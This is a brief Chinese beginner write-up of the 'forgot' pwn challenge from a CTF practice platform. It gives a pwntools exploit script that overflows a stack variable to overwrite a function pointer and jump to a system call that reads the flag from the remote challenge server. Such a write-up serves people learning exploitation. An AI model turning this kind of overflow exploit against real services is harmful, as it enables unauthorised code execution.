6.pwn入门新手做攻防世界 forgot栈内变量溢出

可以看到这有两个交互
ok 开始写 exp

from pwn import*
q=remote('111.198.29.45',50004)
sysaddr=0x080486cc
payload=32*'A'+p32(sysaddr)
q.recvuntil("What is your name?")
q.sendline('suibian')
q.recvuntil("Enter the string to be validate")
q.sendline(payload)
q.interactive()

思路呢就是 栈内变量溢出 有v2的输入 来覆盖指针v3 返回到system函数 来cat flag